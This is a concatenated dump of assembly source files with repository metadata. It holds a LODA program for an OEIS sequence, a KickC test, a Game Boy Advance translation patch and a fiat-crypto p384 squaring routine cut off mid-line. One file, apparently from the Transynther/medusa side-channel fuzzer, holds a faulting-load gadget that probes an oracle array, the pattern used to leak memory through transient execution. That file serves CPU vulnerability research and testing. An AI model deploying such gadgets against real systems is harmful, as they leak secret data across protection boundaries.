; A038665: Convolution of A007054 (super ballot numbers) with A000984 (central binomial coefficients). ; 3,8,25,84,294,1056,3861,14300,53482,201552,764218,2912168,11143500,42791040,164812365,636438060,2463251010,9552774000,37112526990,144410649240,562724141460,2195581527360,8576490341250,33537507830424,131272552839204,514285886020256,2016472976564116,7912438552510800,31069508716192408,122079568066953728,479972989294487997,1888158205819638732,7431764564428508850,29265985517390307504,115302563311570146694,454472338662697232696,1792081368660247952196,7069354511480268056000,27897440240929007815990,110129335775612668570440,434898499440429619762860,1717954916123795534206560,6788406564228840824731500,26831805501277847882049840,106084539141630659442924840,419535778153592322722223360,1659569914102361297435045010,6566394912108468273899595000,25987164504160474040785037172,102869606203320353988436271712,407293640537258768417233256268,1612935015071721801307690545648,6388682930068033883780461523400,25309744209565394401066132527744,100286633146702675646571352930404,397442501815002662857880190930096,1575356218549716262350468033847176,6245307617347338242009899128724800,24762644702782196129569250045393832,98198759804959442646579912300411552,389474061390845905980686093374629168 add $0,1 mov $1,$0 mul $0,2 bin $0,$1 add $1,1 mov $2,$0 div $2,$1 add $2,13 add $0,$2 add $0,2 mul $0,2 sub $0,34 div $0,2 add $0,2
78.555556
1,176
0.897454
d8bf37416d63a90ca43a145640d234da5e594e2a
7,678
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_66_837.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_66_837.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_66_837.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r15 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x308c, %rsi lea addresses_UC_ht+0xbb6c, %rdi clflush (%rsi) nop nop nop cmp %rbx, %rbx mov $10, %rcx rep movsl nop and $11822, %r12 lea addresses_normal_ht+0x7d5c, %r10 clflush (%r10) nop inc %rcx movb $0x61, (%r10) nop nop nop nop lfence lea addresses_D_ht+0x36cc, %rdi nop nop nop nop and %r15, %r15 movl $0x61626364, (%rdi) nop nop sub %r10, %r10 lea addresses_WC_ht+0x38a8, %r12 sub $36264, %rdi movw $0x6162, (%r12) xor %rbx, %rbx lea addresses_normal_ht+0x1e618, %r12 nop nop nop inc %rcx movl $0x61626364, (%r12) nop nop nop nop nop sub $17600, %r10 lea addresses_normal_ht+0x17acc, %rsi lea addresses_D_ht+0x1b38c, %rdi clflush (%rdi) nop nop nop nop xor $2211, %rbp mov $27, %rcx rep movsq nop nop add $38120, %rbx lea addresses_UC_ht+0xd920, %rsi lea addresses_WT_ht+0x1e0ec, %rdi nop nop nop lfence mov $107, %rcx rep movsq nop cmp %r10, %r10 lea addresses_D_ht+0x103ac, %rbx nop nop nop nop nop xor %rcx, %rcx mov $0x6162636465666768, %r10 movq %r10, (%rbx) nop nop nop nop nop cmp $9766, %r10 lea addresses_WC_ht+0x1ae34, %rsi lea addresses_WT_ht+0x17b8c, %rdi clflush (%rsi) nop nop nop cmp $4805, %rbx mov $5, %rcx rep movsl sub $28254, %r15 lea addresses_D_ht+0xc68c, %rbx nop nop nop nop cmp %r12, %r12 mov (%rbx), %r15 nop nop nop nop nop sub %rsi, %rsi lea addresses_WT_ht+0x43cc, %rsi lea addresses_normal_ht+0xabe4, %rdi nop nop cmp %rbx, %rbx mov $43, %rcx rep movsq nop nop nop dec %r10 lea addresses_UC_ht+0xca8c, %rdi dec %r10 movups (%rdi), %xmm5 vpextrq $1, %xmm5, %rsi nop add %rbp, %rbp lea addresses_WT_ht+0x1a0cc, %rbp nop nop nop nop add $20429, %rsi vmovups (%rbp), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %rbx nop nop nop nop nop dec %r10 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r15 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %rbx push %rcx push %rdx push %rsi // Store lea addresses_D+0xfe8c, %rbx xor $40117, %r12 movw $0x5152, (%rbx) nop nop nop nop nop and %rdx, %rdx // Store lea addresses_UC+0x1e5fc, %rsi and %r14, %r14 movl $0x51525354, (%rsi) nop nop nop nop nop and %r14, %r14 // Store lea addresses_A+0x1664c, %r14 nop nop cmp %r12, %r12 mov $0x5152535455565758, %rsi movq %rsi, (%r14) nop nop nop nop xor %r11, %r11 // Store lea addresses_WC+0xcc3a, %rcx nop sub $30624, %rdx movw $0x5152, (%rcx) add %r14, %r14 // Load lea addresses_PSE+0x1900c, %rdx nop nop nop nop and $888, %r12 mov (%rdx), %rsi nop nop inc %r11 // Store mov $0x5868470000000a8c, %rbx nop nop nop dec %r12 mov $0x5152535455565758, %rsi movq %rsi, %xmm7 movups %xmm7, (%rbx) nop nop nop nop xor %rdx, %rdx // Load lea addresses_normal+0x1fa8c, %r12 nop nop nop xor %r14, %r14 mov (%r12), %r11d cmp $55876, %rcx // Store mov $0xc90, %rdx nop nop inc %rcx mov $0x5152535455565758, %rsi movq %rsi, (%rdx) cmp %rsi, %rsi // Store lea addresses_A+0x1520c, %rbx xor %r11, %r11 movb $0x51, (%rbx) nop nop nop cmp %rsi, %rsi // Store lea addresses_normal+0x1912c, %rsi nop nop nop nop inc %rcx mov $0x5152535455565758, %rdx movq %rdx, %xmm1 vmovups %ymm1, (%rsi) nop add %rsi, %rsi // Load lea addresses_normal+0x2c8c, %rcx nop cmp $50301, %rbx movb (%rcx), %r14b nop nop sub $16848, %rbx // Load lea addresses_A+0xbe9c, %rsi nop nop nop nop inc %r12 mov (%rsi), %rdx nop sub %rdx, %rdx // Load lea addresses_US+0x828c, %rbx nop xor %rsi, %rsi vmovups (%rbx), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %rdx nop sub $47513, %r12 // Faulty Load lea addresses_D+0x768c, %rdx cmp $37169, %rsi movb (%rdx), %r12b lea oracles, %r14 and $0xff, %r12 shlq $12, %r12 mov (%r14,%r12,1), %r12 pop %rsi pop %rdx pop %rcx pop %rbx pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D', 'congruent': 9}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC', 'congruent': 4}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 4}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC', 'congruent': 0}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_PSE', 'congruent': 7}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_NC', 'congruent': 10}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal', 'congruent': 10}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_P', 'congruent': 1}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 6}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal', 'congruent': 2}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_normal', 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_US', 'congruent': 10}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'congruent': 5, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 4}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 5}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 0}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal_ht', 'congruent': 2}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 5}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 11}} {'dst': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT_ht', 'congruent': 6}} {'36': 66} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
21.151515
197
0.643266
8d538f4450cdb6ae19eef3a6d35d2c5b3ae34e21
447
asm
Assembly
src/test/ref/inline-asm.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/test/ref/inline-asm.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/test/ref/inline-asm.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
// Commodore 64 PRG executable file .file [name="inline-asm.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) .segment Code main: { // asm lda #'a' ldx #$ff !: sta $400,x sta $500,x sta $600,x sta $700,x dex bne !- // } rts }
18.625
61
0.612975
02b92001c01d2ba203e4ec69506fc440a40cfbab
240
asm
Assembly
oeis/065/A065118.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/065/A065118.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/065/A065118.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A065118: Numbers which are 19 times the sum of their digits. ; Submitted by Jamie Morken(s4) ; 114,133,152,171,190,209,228,247,266,285,399 mov $1,12 mul $1,$0 div $0,10 add $0,2 add $1,12 mul $1,$0 mov $0,$1 div $0,24 add $0,5 mul $0,19
16
62
0.666667
a11b5f0bcc5b747d691cb3e90b76efcd41a96523
1,876
asm
Assembly
tomatoadv.asm
unknownbrackets/tomatotrans
4d4447a965c59cbb0ccda1176ae83870ad116528
[ "0BSD" ]
14
2020-07-06T00:37:34.000Z
2021-09-20T12:32:53.000Z
tomatoadv.asm
MiYakuGaming/tomatotrans
6ae7fd95bc98518165869b05da3f394372bd8b5a
[ "0BSD" ]
11
2020-07-03T08:57:10.000Z
2021-09-26T19:42:29.000Z
tomatoadv.asm
MiYakuGaming/tomatotrans
6ae7fd95bc98518165869b05da3f394372bd8b5a
[ "0BSD" ]
2
2020-07-11T03:41:38.000Z
2021-08-11T01:12:39.000Z
.gba .open "ta.gba","test.gba",0x08000000 .include "asm/addresses.inc" ; Game bugfix for saving in no$gba. Possibly an emulator bug. .include "asm/bug_nocash.asm" ; Required for the menu VWF fixes below to work. .include "asm/fontmap.asm" .include "asm/vwf_8x8.asm" ; The below lengthen text primarily in battle, and require battle_message.asm. .include "asm/battle_message.asm" .include "asm/battle_enemies.asm" .include "asm/battle_sleep.asm" .include "asm/gimmick_text.asm" .include "asm/item_text.asm" .include "asm/mecha_text.asm" ; Allow longer text in the main battle menu. .include "asm/battle_menu.asm" ; Add space for Strength in level up messages. .include "asm/battle_levelup.asm" ; Line up better when gaining items from battle. .include "asm/battle_spoils.asm" ; Updates for the menu options and descriptions. .include "asm/menu.asm" .include "asm/menu_gimmicks.asm" .include "asm/menu_friends.asm" .include "asm/shop_messages.asm" .include "asm/menu_items.asm" .include "asm/menu_equipment.asm" ; Longer names in dialog message control codes and VWF support. .include "asm/dialog_item.asm" .include "asm/dialog_center.asm" ; Longer text and names in Gimica. .include "asm/gimica_text.asm" .include "asm/gimica_tutorial.asm" ; Use English uppercase/lowercase in the naming screen. .include "asm/naming_screen.asm" ; Allow longer charcter names than the default 4. Some in other files too. ; Comment this out to disable. .include "asm/name_long.asm" .include "asm/dialog_name.asm" .include "asm/saving_screen.asm" ; Adjust the buttons on the title screen. .include "asm/title_screen.asm" ; Adjust the place names on the overworld map. .include "asm/map_text.asm" ; Adjust buttons and replace text drawing routine. .include "asm/credits.asm" ; English text makes the dialog speed seems slower, so increase. .include "asm/dialog_speed.asm" .close
28
78
0.766525
c83fff348e033aebcab4d4a42f8f5ea4a77e763e
850
asm
Assembly
test.asm
prokushev/macrolib
41516b2674138d16f115d4c9c8104a85a2185710
[ "BSD-3-Clause" ]
null
null
null
test.asm
prokushev/macrolib
41516b2674138d16f115d4c9c8104a85a2185710
[ "BSD-3-Clause" ]
null
null
null
test.asm
prokushev/macrolib
41516b2674138d16f115d4c9c8104a85a2185710
[ "BSD-3-Clause" ]
null
null
null
INCLUDE BIOS.INC INCLUDE DOS.INC _DATA SEGMENT HelloStr DB "Hello",0dh,0ah,"$" pHelloStr DW HelloStr fpHelloStr DD HelloStr Welcome DB "osFree Macro Library test program v0.xx", 0dh, 0ah, 0dh, 0ah DB "1) BIOS tests", 0dh, 0ah DB "2) DOS tests", 0dh, 0ah, 0dh, 0ah DB "0) Exit", 0dh, 0ah DB "$" _DATA ENDS _STACK SEGMENT STACK DB 255 DUP (?) _STACK ENDS _TEXT SEGMENT START: MOV AX, _DATA MOV DS, AX ASSUME DS:_DATA @Cls @DispStr Welcome ; MASM 5.x style @DispStr HelloStr @DispStr pHelloStr @DispStr fpHelloStr MOV AX, OFFSET HelloStr @DispStr AX MOV DX, OFFSET HelloStr @DispStr DX ; MASM 6.x style DISPLAY HelloStr DISPLAY pHelloStr DISPLAY fpHelloStr MOV AX, OFFSET HelloStr DISPLAY AX MOV DX, OFFSET HelloStr DISPLAY DX ; MASM 5.x style @Exit 0 ; MASM 6.x style END_PROCESS 0 _TEXT ENDS END START
15.454545
74
0.710588
d11432cfe1443107da68420d0e9fedbc05d4927d
375
asm
Assembly
oeis/137/A137807.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/137/A137807.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/137/A137807.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A137807: Final digit of prime(n)^2. ; Submitted by Jamie Morken(s3) ; 4,9,5,9,1,9,9,1,9,1,1,9,1,9,9,9,1,1,9,1,9,1,9,1,9,1,9,9,1,9,9,1,9,1,1,1,9,9,9,9,1,1,1,9,9,1,1,9,9,1,9,1,1,1,9,9,1,1,9,1,9,9,9,1,9,9,1,9,9,1,9,1,9,9,1,9,1,9,1,1,1,1,1,9,1,9,1,9,1,9,9,1,9,1,1,9,1,1,9,1 mul $0,2 max $0,1 seq $0,173919 ; Numbers that are prime or one less than a prime. pow $0,2 mod $0,10
37.5
201
0.584
f01a5edf67b8c4e4eb9c30b9d7ff80592e1492af
35,696
asm
Assembly
fiat-amd64/273.53_ratio08274_seed2438481381420792_square_p384.asm
dderjoel/fiat-crypto
57a9612577d766a0ae83169ea9517bfa7f01ea4e
[ "BSD-1-Clause", "Apache-2.0", "MIT-0", "MIT" ]
491
2015-11-25T23:44:39.000Z
2022-03-29T17:31:21.000Z
fiat-amd64/273.53_ratio08274_seed2438481381420792_square_p384.asm
dderjoel/fiat-crypto
57a9612577d766a0ae83169ea9517bfa7f01ea4e
[ "BSD-1-Clause", "Apache-2.0", "MIT-0", "MIT" ]
755
2016-02-02T14:03:05.000Z
2022-03-31T16:47:23.000Z
fiat-amd64/273.53_ratio08274_seed2438481381420792_square_p384.asm
dderjoel/fiat-crypto
57a9612577d766a0ae83169ea9517bfa7f01ea4e
[ "BSD-1-Clause", "Apache-2.0", "MIT-0", "MIT" ]
117
2015-10-25T16:28:15.000Z
2022-02-08T23:01:09.000Z
SECTION .text GLOBAL square_p384 square_p384: sub rsp, 0x318 ; last 0x30 (6) for Caller - save regs mov [ rsp + 0x2e8 ], rbx; saving to stack mov [ rsp + 0x2f0 ], rbp; saving to stack mov [ rsp + 0x2f8 ], r12; saving to stack mov [ rsp + 0x300 ], r13; saving to stack mov [ rsp + 0x308 ], r14; saving to stack mov [ rsp + 0x310 ], r15; saving to stack mov rax, [ rsi + 0x0 ]; load m64 x6 to register64 mov r10, [ rsi + 0x8 ]; load m64 x1 to register64 mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx mulx r11, rbx, rax; x18, x17<- x6 * arg1[0] mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx mulx rbp, r12, r10; x80, x79<- x1 * arg1[0] mov r13, 0x100000001 ; moving imm to reg mov rdx, rbx; x17 to rdx mulx rbx, r14, r13; _, x30<- x17 * 0x100000001 mov rbx, rdx; preserving value of x17 into a new reg mov rdx, [ rsi + 0x8 ]; saving arg1[1] in rdx. mulx r15, rcx, rax; x16, x15<- x6 * arg1[1] add rcx, r11; could be done better, if r0 has been u8 as well mov rdx, 0xffffffff00000000 ; moving imm to reg mulx r8, r9, r14; x41, x40<- x30 * 0xffffffff00000000 mov r11, 0xffffffff ; moving imm to reg xchg rdx, r11; 0xffffffff, swapping with 0xffffffff00000000, which is currently in rdx mulx r11, r13, r14; x43, x42<- x30 * 0xffffffff mov rdx, -0x2 ; moving imm to reg inc rdx; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1) adox r13, rbx setc r13b; spill CF x20 to reg (r13) clc; adcx r9, r11 mov rbx, 0xfffffffffffffffe ; moving imm to reg mov rdx, r14; x30 to rdx mulx r14, r11, rbx; x39, x38<- x30 * 0xfffffffffffffffe adox r9, rcx xchg rdx, r10; x1, swapping with x30, which is currently in rdx mulx rcx, rbx, [ rsi + 0x8 ]; x78, x77<- x1 * arg1[1] xchg rdx, rax; x6, swapping with x1, which is currently in rdx mov [ rsp + 0x0 ], rdi; spilling out1 to mem mov [ rsp + 0x8 ], r14; spilling x39 to mem mulx rdi, r14, [ rsi + 0x10 ]; x14, x13<- x6 * arg1[2] mov [ rsp + 0x10 ], rcx; spilling x78 to mem seto cl; spill OF x58 to reg (rcx) mov [ rsp + 0x18 ], rdi; spilling x14 to mem mov rdi, 0x0 ; moving imm to reg dec rdi; OF<-0x0, preserve CF (debug: state 4 (thanks Paul)) movzx r13, r13b adox r13, rdi; loading flag adox r15, r14 seto r13b; spill OF x22 to reg (r13) inc rdi; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0)) adox r12, r9 mov r9, 0x100000001 ; moving imm to reg xchg rdx, r12; x92, swapping with x6, which is currently in rdx mulx r14, rdi, r9; _, x106<- x92 * 0x100000001 mov r14, 0xffffffff ; moving imm to reg xchg rdx, r14; 0xffffffff, swapping with x92, which is currently in rdx mov byte [ rsp + 0x20 ], r13b; spilling byte x22 to mem mulx r9, r13, rdi; x119, x118<- x106 * 0xffffffff adcx r11, r8 xchg rdx, r12; x6, swapping with 0xffffffff, which is currently in rdx mulx r8, r12, [ rsi + 0x18 ]; x12, x11<- x6 * arg1[3] mov [ rsp + 0x28 ], r8; spilling x12 to mem seto r8b; spill OF x93 to reg (r8) mov [ rsp + 0x30 ], r13; spilling x118 to mem mov r13, -0x1 ; moving imm to reg inc r13; OF<-0x0, preserve CF (debug: state 5 (thanks Paul)) mov r13, -0x1 ; moving imm to reg movzx rcx, cl adox rcx, r13; loading flag adox r15, r11 setc cl; spill CF x47 to reg (rcx) clc; adcx rbx, rbp seto bpl; spill OF x60 to reg (rbp) inc r13; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0)) mov r11, -0x1 ; moving imm to reg movzx r8, r8b adox r8, r11; loading flag adox r15, rbx seto r8b; spill OF x95 to reg (r8) movzx rbx, byte [ rsp + 0x20 ]; load byte memx22 to register64 dec r13; OF<-0x0, preserve CF (debug: state 1(0x0) (thanks Paul)) adox rbx, r13; loading flag adox r12, [ rsp + 0x18 ] mov r11, rdx; preserving value of x6 into a new reg mov rdx, [ rsi + 0x10 ]; saving arg1[2] in rdx. mulx rbx, r13, rax; x76, x75<- x1 * arg1[2] mov rdx, 0xffffffffffffffff ; moving imm to reg mov [ rsp + 0x38 ], rbx; spilling x76 to mem mov byte [ rsp + 0x40 ], r8b; spilling byte x95 to mem mulx rbx, r8, r10; x37, x36<- x30 * 0xffffffffffffffff mov rdx, [ rsp + 0x10 ]; x83, copying x78 here, cause x78 is needed in a reg for other than x83, namely all: , x83--x84, size: 1 adcx rdx, r13 mov r13, 0xffffffff00000000 ; moving imm to reg xchg rdx, rdi; x106, swapping with x83, which is currently in rdx mov [ rsp + 0x48 ], rdi; spilling x83 to mem mov [ rsp + 0x50 ], r12; spilling x23 to mem mulx rdi, r12, r13; x117, x116<- x106 * 0xffffffff00000000 setc r13b; spill CF x84 to reg (r13) clc; adcx r12, r9 seto r9b; spill OF x24 to reg (r9) mov byte [ rsp + 0x58 ], r13b; spilling byte x84 to mem mov r13, -0x2 ; moving imm to reg inc r13; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1) adox r14, [ rsp + 0x30 ] mov r14, 0xfffffffffffffffe ; moving imm to reg mov byte [ rsp + 0x60 ], r9b; spilling byte x24 to mem mulx r13, r9, r14; x115, x114<- x106 * 0xfffffffffffffffe adox r12, r15 adcx r9, rdi seto r15b; spill OF x134 to reg (r15) mov rdi, 0x0 ; moving imm to reg dec rdi; OF<-0x0, preserve CF (debug: state 4 (thanks Paul)) movzx rcx, cl adox rcx, rdi; loading flag adox r8, [ rsp + 0x8 ] mov rcx, 0xffffffffffffffff ; moving imm to reg xchg rdx, r10; x30, swapping with x106, which is currently in rdx mulx rdi, r14, rcx; x35, x34<- x30 * 0xffffffffffffffff xchg rdx, rax; x1, swapping with x30, which is currently in rdx mov [ rsp + 0x68 ], r12; spilling x133 to mem mulx rcx, r12, [ rsi + 0x18 ]; x74, x73<- x1 * arg1[3] adox r14, rbx setc bl; spill CF x123 to reg (rbx) clc; mov [ rsp + 0x70 ], rcx; spilling x74 to mem mov rcx, -0x1 ; moving imm to reg movzx rbp, bpl adcx rbp, rcx; loading flag adcx r8, [ rsp + 0x50 ] seto bpl; spill OF x51 to reg (rbp) movzx rcx, byte [ rsp + 0x40 ]; load byte memx95 to register64 mov [ rsp + 0x78 ], rdi; spilling x35 to mem mov rdi, 0x0 ; moving imm to reg dec rdi; OF<-0x0, preserve CF (debug: state 4 (thanks Paul)) adox rcx, rdi; loading flag adox r8, [ rsp + 0x48 ] setc cl; spill CF x62 to reg (rcx) clc; movzx r15, r15b adcx r15, rdi; loading flag adcx r8, r9 xchg rdx, r11; x6, swapping with x1, which is currently in rdx mulx r15, r9, [ rsi + 0x28 ]; x8, x7<- x6 * arg1[5] mulx rdx, rdi, [ rsi + 0x20 ]; x10, x9<- x6 * arg1[4] mov [ rsp + 0x80 ], r8; spilling x135 to mem mov r8, 0xffffffffffffffff ; moving imm to reg xchg rdx, r10; x106, swapping with x10, which is currently in rdx mov byte [ rsp + 0x88 ], bpl; spilling byte x51 to mem mov [ rsp + 0x90 ], r12; spilling x73 to mem mulx rbp, r12, r8; x113, x112<- x106 * 0xffffffffffffffff setc r8b; spill CF x136 to reg (r8) mov [ rsp + 0x98 ], rbp; spilling x113 to mem movzx rbp, byte [ rsp + 0x60 ]; load byte memx24 to register64 clc; mov [ rsp + 0xa0 ], r12; spilling x112 to mem mov r12, -0x1 ; moving imm to reg adcx rbp, r12; loading flag adcx rdi, [ rsp + 0x28 ] adcx r9, r10 mov rbp, 0x0 ; moving imm to reg adcx r15, rbp clc; movzx rcx, cl adcx rcx, r12; loading flag adcx rdi, r14 xchg rdx, r11; x1, swapping with x106, which is currently in rdx mulx r14, rcx, [ rsi + 0x20 ]; x72, x71<- x1 * arg1[4] setc r10b; spill CF x64 to reg (r10) clc; movzx rbx, bl adcx rbx, r12; loading flag adcx r13, [ rsp + 0xa0 ] mov rbx, [ rsp + 0x90 ]; load m64 x73 to register64 setc bpl; spill CF x125 to reg (rbp) movzx r12, byte [ rsp + 0x58 ]; load byte memx84 to register64 clc; mov [ rsp + 0xa8 ], r14; spilling x72 to mem mov r14, -0x1 ; moving imm to reg adcx r12, r14; loading flag adcx rbx, [ rsp + 0x38 ] mov r12, 0xffffffffffffffff ; moving imm to reg xchg rdx, r12; 0xffffffffffffffff, swapping with x1, which is currently in rdx mulx rax, r14, rax; x33, x32<- x30 * 0xffffffffffffffff mov [ rsp + 0xb0 ], r15; spilling x29 to mem mov byte [ rsp + 0xb8 ], bpl; spilling byte x125 to mem mulx r15, rbp, r11; x111, x110<- x106 * 0xffffffffffffffff adox rbx, rdi seto dil; spill OF x99 to reg (rdi) movzx rdx, byte [ rsp + 0x88 ]; load byte memx51 to register64 mov [ rsp + 0xc0 ], r15; spilling x111 to mem mov r15, -0x1 ; moving imm to reg inc r15; OF<-0x0, preserve CF (debug: state 5 (thanks Paul)) mov r15, -0x1 ; moving imm to reg adox rdx, r15; loading flag adox r14, [ rsp + 0x78 ] seto dl; spill OF x53 to reg (rdx) inc r15; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0)) mov r15, -0x1 ; moving imm to reg movzx r10, r10b adox r10, r15; loading flag adox r9, r14 mov r10, [ rsp + 0x70 ]; x87, copying x74 here, cause x74 is needed in a reg for other than x87, namely all: , x87--x88, size: 1 adcx r10, rcx setc cl; spill CF x88 to reg (rcx) clc; movzx rdi, dil adcx rdi, r15; loading flag adcx r9, r10 mov rdi, 0xffffffffffffffff ; moving imm to reg xchg rdx, rdi; 0xffffffffffffffff, swapping with x53, which is currently in rdx mulx r11, r14, r11; x109, x108<- x106 * 0xffffffffffffffff seto r10b; spill OF x66 to reg (r10) inc r15; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0)) mov r15, -0x1 ; moving imm to reg movzx r8, r8b adox r8, r15; loading flag adox rbx, r13 mov r8, rdx; preserving value of 0xffffffffffffffff into a new reg mov rdx, [ rsi + 0x28 ]; saving arg1[5] in rdx. mulx r12, r13, r12; x70, x69<- x1 * arg1[5] movzx rdx, dil; x54, copying x53 here, cause x53 is needed in a reg for other than x54, namely all: , x54, size: 1 lea rdx, [ rdx + rax ] setc al; spill CF x101 to reg (rax) movzx rdi, byte [ rsp + 0xb8 ]; load byte memx125 to register64 clc; adcx rdi, r15; loading flag adcx rbp, [ rsp + 0x98 ] setc dil; spill CF x127 to reg (rdi) clc; movzx r10, r10b adcx r10, r15; loading flag adcx rdx, [ rsp + 0xb0 ] adox rbp, r9 mov r10, [ rsi + 0x10 ]; load m64 x2 to register64 setc r9b; spill CF x68 to reg (r9) clc; movzx rcx, cl adcx rcx, r15; loading flag adcx r13, [ 